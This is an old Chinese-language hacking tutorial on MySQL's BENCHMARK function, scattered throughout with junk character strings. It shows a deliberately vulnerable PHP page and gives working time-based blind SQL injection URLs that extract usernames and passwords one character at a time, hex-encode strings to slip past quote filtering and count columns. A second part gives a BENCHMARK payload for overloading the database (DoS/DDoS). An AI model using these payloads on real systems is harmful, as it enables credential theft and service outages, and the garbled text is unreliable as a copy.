MYSQL中BENCHMARK函数的利用 ! A& z: M0 V( V2 V0 n$ l' C) {
本文作者:SuperHei
/ X3 R; U) U* O* J9 \6 @9 P. ]文章性质:原创
' B* ?; E. y" E) F5 h9 N发布日期:2005-01-024 X L+ X# \) p, v, e4 Z/ F, j9 F2 ]
完成日期:2004-07-09
$ h% L& C) P, H9 L, N8 e$ n0 x第一部
6 d" } x; |1 w s9 h9 n: B6 E: h; i
: d0 B8 Z: k, C, K! }9 \5 z利用时间推延进行注射---BENCHMARK函数在注射中的利用
! a3 Z7 ]6 l* Z# x8 ]3 m4 K# t" B& H: a$ ^! z( G. `
一.前言/思路
: X( \8 X3 k5 K3 a, {/ ]4 B
2 ]( S! R3 }; _# p 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
1 g" W5 p9 A! z W6 o' U/ b' F1 j8 {& \+ `% u- \
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。# F! d) Y; k$ z+ L0 x
9 M: z W; s# V9 G
二.关于BENCHMARK函数
\0 {0 Q e) t) x+ X$ ?" w! f6 B y# N
在MySQL参考手册里可以看到如下描叙:
! b [1 b2 R' U* `2 S; n5 F" _5 l0 F( n5 I9 \: C
: \% Q/ o. N) c4 T c5 Z% |-------------------------------------------------------------------------------- M. f. X' q0 z0 v2 p9 j
) t& N& n) T. _BENCHMARK(count,expr) 1 r+ F4 j. h# |9 h
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 " }4 ~% ^. L. ~" f0 X
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! W6 L9 p8 s _! _" f. F
+----------------------------------------------+
9 _, H% X( V* B+ W# A" W8 v| BENCHMARK(1000000,encode("hello","goodbye")) |
; s/ r& C8 A2 q# M) F: Y" n+----------------------------------------------+
- |) }5 R1 w1 U L5 s/ h0 J9 z| 0 |
$ s3 f) V) G( S2 D m, ~; H9 B+----------------------------------------------+
. q1 R9 r# x8 A$ Z+ z! ^1 row in set (4.74 sec)
# z! O# R7 M& \+ X4 ~" c$ y/ ~. x: v8 `* h1 O
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。3 j& o( g4 M, A1 r0 y) T
, J4 |. h; J8 W q4 ]- o* v+ d3 X+ M
--------------------------------------------------------------------------------
4 z2 Q2 l z9 y* n) s1 \' D1 E8 I; a# B0 U+ Y- F) ~
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
1 ], R6 x* F6 ]. B7 b2 F. Q7 T' N" f- }& u6 F9 O
mysql> select md5( 'test' );
6 Z# q3 w: h V6 i) y, o8 b+----------------------------------+
# P% Q( W3 |- R, U/ d| md5( 'test' ) | : ]. x. G K8 y8 W5 b$ }3 O+ E
+----------------------------------+
) q1 L3 I }' H. y6 y {, S+ {| 098f6bcd4621d373cade4e832627b4f6 | 6 N9 ?2 P U( q; R% z' C
+----------------------------------+ . F2 R/ X5 H, o6 Y1 G2 H0 z- S/ k
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 2 g) S- p f5 v4 a9 Z
& w/ F" w1 c& ? S! T8 j2 H
mysql> select benchmark( 500000, md5( 'test' ) );
# k* `' l, t8 i* v+------------------------------------+ " l. D( o8 M, h- {4 V; q- ~
| benchmark( 500000, md5( 'test' ) ) | * P0 y$ L8 j0 ?
+------------------------------------+
9 K" V' W+ ~9 ]9 I) M( K| 0 | 7 L& P) W$ }/ J* O9 N+ B
+------------------------------------+ # Z, f" x, [7 `
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
: ?4 K2 w: F4 f
7 ~% O5 ]/ D' j) v9 v8 V' U5 D$ |% F* B/ y
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
1 Z: l0 K7 h% H( n4 q7 W" v# `# m- g/ y* T
三.具体例子
# L) [9 Z. q/ J. j2 q1 b0 { W1 D! u5 G4 D3 d
首先我们看个简单的php代码:7 x7 a* n0 K Y
- B% K+ w7 c& U" O4 R' F
< ?php 3 v& r3 b: ?7 n! u8 D% A, m
$servername = "localhost"; 5 ^& R. }. k, q1 _' q( _ x4 D) h
$dbusername = "root"; % v# h, h; s3 t* }! ?6 D' o$ R8 c
$dbpassword = "";
( b* C5 A, A' u& T* M* A, b$dbname = "injection";
Q4 |- Q9 e) }2 q0 s
: H# I- i% J1 R+ N; E5 x0 tmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
3 {# c, M2 z4 m7 m% q: j+ s0 v6 x( U) n7 y$ q& L5 ^
$sql = "SELECT * FROM article WHERE articleid=$id"; / p6 y& A. |% C) K6 i
$result = mysql_db_query($dbname,$sql);
0 ?2 ~& z2 l9 [8 l) X/ L8 U ]# a$row = mysql_fetch_array($result);
4 P/ {1 g( f6 Q' U9 ?3 [/ E4 |0 w3 ]
if (!$row)
7 ?: j' m5 M0 v: j. V{
- }5 k# F, K; p9 E) ~exit;
! n& p- f' a' {% }7 z8 E8 ~/ a} 0 `0 J' ] G8 H1 |9 \. _
?>
1 t$ D8 |$ c7 e% k4 ^ . }( V( T& W; t% G, f
$ k6 W( g( z8 A* n2 `" K 数据库injection结构和内容如下:. E3 R3 y+ c3 G4 K3 e
7 |. C4 N. M% P; ?0 a1 V0 C
# 数据库 : `injection`
9 `2 H- R1 |$ x5 {$ J$ n) v f7 ?#
! S+ ~0 ~! I, n S- _6 D# u8 {/ a% N6 ?, b
# -------------------------------------------------------- ' [: A) j+ N1 [- Q
# n, O" i% A3 w1 B; k6 `4 @# $ G2 p3 U4 i2 ~8 {
# 表的结构 `article` 3 Q0 O9 p, U+ }" s
#
/ z6 L1 }# T6 {; o2 _+ [5 n$ _8 y9 A, t$ c- i! F3 C
CREATE TABLE `article` (
- g# S# e' r2 O`articleid` int(11) NOT NULL auto_increment, 5 b+ X) S1 s" y) S1 S6 i' g
`title` varchar(100) NOT NULL default '',
; L- S6 s1 {5 U8 e6 N3 B`content` text NOT NULL, + k i/ [5 u' \: X- k2 i
PRIMARY KEY (`articleid`) |4 k; a5 T+ V% U& {3 u8 ?" C
) TYPE=MyISAM AUTO_INCREMENT=3 ; ' d0 ~7 G8 A; q8 j
# c* S1 E9 d0 s. z H$ v#
7 C J! _1 x1 d5 p$ L6 j2 U: h2 o# 导出表中的数据 `article` ; p9 {2 p# G3 ~* P* d' `
#
0 M& o' a6 x) s. E9 O
" Q! C7 R4 ^0 s- L+ _ Y. ` k7 L3 LINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 5 S% [* j- S, \- h; K6 C0 t
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * z6 B4 u8 V+ `( a6 w6 s
% p( }7 m* n- q3 ^" J# --------------------------------------------------------
3 E, x5 s" A, n" I; J
/ Y" R5 |) I2 H9 p. W) U' C- h# |' ^$ g/ M/ u- C* ?) t* I( o- Z' W
# 表的结构 `user`
" W1 z: X6 R. V- Y# 6 j3 Z; w% }: o( R' U
9 |6 ^6 X, K+ K( F: e' ~% V
CREATE TABLE `user` (
( }' u# s. }! \' o`userid` int(11) NOT NULL auto_increment,
7 S6 v- P7 A0 y; T% F/ z`username` varchar(20) NOT NULL default '',
7 q; D4 Z% I; C8 {2 _' V9 \1 |`password` varchar(20) NOT NULL default '',
0 D2 a& a: C" T) yPRIMARY KEY (`userid`)
& v2 |) f# d/ }- _) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 x$ e: ?- P/ J; r V, T; A; k2 X( Y4 f" ~4 v& v
# ' O2 M* o6 L( ~4 z
# 导出表中的数据 `user` ; A, N; [* ]) z6 j* G
# 9 m8 {1 T! S2 \; k! P! q
) V0 p( ~0 s6 R, ^2 o5 P3 BINSERT INTO `user` VALUES (1, 'angel', 'mypass');
, \4 R* M" r$ q, @INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');- S8 D1 o. Y$ g" t! @8 J% Z/ E" S
- S# O5 @+ q7 v/ e) {& H4 g n
3 D# w% G' o; ]/ ]1 m7 E 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" b+ j' ?+ D7 _# L6 n( J6 e
* k- c! u; k! ^# Yid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
2 _& P5 M( T( S5 F 7 c) E4 M" V. _7 k
, @, c8 L& m0 d, o 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:2 w) F6 C# E! Q- g" E: ?' k0 C) q
5 U, Y$ m( P0 j' Phttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*; t% D: t4 W, T. i0 S
/ {! Y7 h5 G7 t" n8 X* U2 ^
' h% w" [- A. f( M$ E: P5 g7 {, {1 t 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
0 D) F5 v: s: I1 x5 [
! t3 S- h& R: l/ Y m4 s 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 0 |8 L1 f- ]& X4 X6 D8 W
1 D b) `. D0 E- b1 K$ Y第二部
7 m9 s! d j4 v$ ?3 m5 k: z, f8 z, w) A$ C' @/ s1 ?; Z! O" b
利用BENCHMARK函数进行ddos攻击 3 l+ c% h" X9 j2 H% W
$ F) d- B; ~7 u/ z! s/ C 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:7 q8 p9 e' F9 h* \3 P) Y2 t
& t( ?" G) p- J0 x. @7 u+ E& a Yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
0 ]. k @4 @' H. U3 Q $ u9 k& S3 o8 f9 C
% N0 q# |2 z3 V小结
j' s! G; g" P7 a7 n4 m& v' D( o' a+ J% r' L) s3 M" y) B
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
- p' o& ~% `- S) q
! V" E6 {7 P* f: E! G0 [% y
5 k0 I! H# U, N% H% S+ j' H |